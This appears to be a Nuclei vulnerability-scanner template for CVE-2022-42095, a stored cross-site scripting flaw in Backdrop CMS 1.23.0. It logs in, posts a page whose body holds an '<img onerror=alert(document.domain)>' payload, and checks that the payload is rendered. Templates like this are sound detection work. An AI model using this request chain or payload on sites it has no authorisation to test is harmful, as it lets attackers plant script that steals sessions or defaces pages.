87 lines
3.3 KiB
YAML
87 lines
3.3 KiB
YAML
id: CVE-2022-42095
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info:
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name: Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)
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author: theamanrawat
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severity: medium
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description: |
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Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
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remediation: |
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Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
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reference:
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- https://github.com/backdrop/backdrop/releases/tag/1.23.0
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- https://github.com/bypazs/CVE-2022-42095
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- https://nvd.nist.gov/vuln/detail/CVE-2022-42095
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- https://backdropcms.org
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 4.8
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cve-id: CVE-2022-42095
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cwe-id: CWE-79
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epss-score: 0.00566
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epss-percentile: 0.75243
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cpe: cpe:2.3:a:backdropcms:backdrop_cms:1.23.0:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 5
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vendor: backdropcms
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product: backdrop_cms
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tags: cve,cve2022,xss,cms,backdrop,authenticated,backdropcms
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http:
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- raw:
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- |
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GET /?q=user/login HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /?q=user/login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
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- |
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GET /?q=node/add/page HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /?q=node/add/page HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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title={{randstr}}&body%5Bund%5D%5B0%5D%5Bsummary%5D=&body%5Bund%5D%5B0%5D%5Bvalue%5D=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A&body%5Bund%5D%5B0%5D%5Bformat%5D=full_html&changed=&form_build_id={{form_id_2}}&form_token={{form_token}}&form_id=page_node_form&status=1&scheduled%5Bdate%5D=2023-04-14&scheduled%5Btime%5D=21%3A00%3A54&name=admin&date%5Bdate%5D=2023-04-13&date%5Btime%5D=21%3A00%3A54&path%5Bauto%5D=1&menu%5Benabled%5D=1&menu%5Blink_title%5D=test&menu%5Bdescription%5D=&menu%5Bparent%5D=main-menu%3A0&menu%5Bweight%5D=0&comment=1&additional_settings__active_tab=&op=Save
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- |
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POST /?q={{randstr}} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- "status_code_5 == 200"
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- "contains(header_5, 'text/html')"
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- 'contains(body_5, "<img src=\"x\" onerror=\"alert(document.domain)\" />")'
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- "contains(body_5, 'Backdrop CMS')"
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condition: and
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extractors:
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- type: regex
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name: form_id_1
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group: 1
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regex:
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- 'name="form_build_id" value="(.*)"'
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internal: true
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- type: regex
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name: form_id_2
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group: 1
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regex:
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- 'name="form_build_id" value="(.*)"'
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internal: true
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- type: regex
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name: form_token
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group: 1
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regex:
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- 'name="form_token" value="(.*)"'
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internal: true
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# digest: 4a0a00473045022045cdf84772b906273a876685b7301c0a7ad47833959db00fb34b35d406bb5add022100f4d7a7c50bbd8f64174846394cd06b64883f4dad5959e6f363f58c2c264c45aa:922c64590222798bb761d5b6d8e72950 |